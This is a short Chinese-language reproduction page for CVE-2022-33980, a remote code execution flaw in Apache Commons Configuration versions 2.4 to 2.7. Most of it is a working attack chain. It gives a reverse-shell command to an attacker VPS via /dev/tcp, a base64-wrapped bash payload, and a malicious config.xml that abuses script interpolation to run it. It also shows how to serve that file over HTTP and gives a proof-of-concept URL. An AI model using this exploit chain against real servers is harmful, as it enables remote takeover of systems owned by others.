登录 白背景

Apache Commons Configuration 远程命令执行漏洞 CVE-2022-33980

漏洞描述

Apache Commons Configuration 是 Apache 基金会下的一个开源项目组件。它提供了一种通用的方式,让 Java 开发者可以使用统一的接口读取不同类型的配置文件。

该漏洞是由于 Apache Commons Configuration 提供的 Configuration 变量解释功能存在缺陷,攻击者可利用该漏洞在特定情况下,构造恶意数据执行远程代码。

漏洞影响

2.4 <= Apache Commons Configuration <=2.7

漏洞复现

java payload:

# bash -i >& /dev/tcp/your-vps-ip/port 0>&1
bash -c {echo,<YOUR_PAYLOAD_HERE>}|{base64,-d}|{bash,-i}

config.xml:

<?xml version="1.0" encoding="ISO-8859-1" ?>
<configuration>
        <path>${script:js:java.lang.Runtime.getRuntime().exec("bash -c {echo,<YOUR_PAYLOAD_HERE>}|{base64,-d}|{bash,-i}")}</path>
</configuration>

vps 开启 8888 端口托管 config.xml:

python -m http.server 8888

poc:

http://vuln-ip/Url?url=http://your-vps-ip:8888/config.xml&data=path